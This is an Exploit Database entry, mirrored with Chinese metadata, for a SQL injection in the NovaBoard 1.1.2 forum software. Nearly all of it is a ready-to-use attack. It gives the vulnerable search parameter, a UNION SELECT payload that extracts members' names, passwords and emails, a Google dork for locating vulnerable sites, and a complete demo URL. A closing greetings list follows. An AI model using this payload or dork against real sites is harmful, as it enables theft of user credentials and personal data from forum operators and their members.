Novaboard 1.1.2 – SQL Injection

• Exploit Database
• 18 阅读

• 作者： Delibey
  日期： 2010-01-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11278/

• ############################################################# 
  # NovaBoard v1.1.2 SQL Injection Vulnerability 
  
  # Plugin Home: http://www.novaboard.net/ 
  
  # Author: Delibey 
  
  # Site: www.1923turk.com 
   
  ############################################################## 
  
  
  # Download Script: http://novaboard.googlecode.com/files/NovaBoard1.1.2.zip
  
  
   
  # Exploit: index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=[SQL-inj] 
  
  
  #1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
   
  #Dork: "Powered by NovaBoard v1.1.2" 
  
  # Demo: http://server/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
  
   
  ############################################################## 
  # Greetz: Manas58 - Baybora - Gamoscu - Tiamo - Psiko - Turco - infazci - X-TRO 
  ##############################################################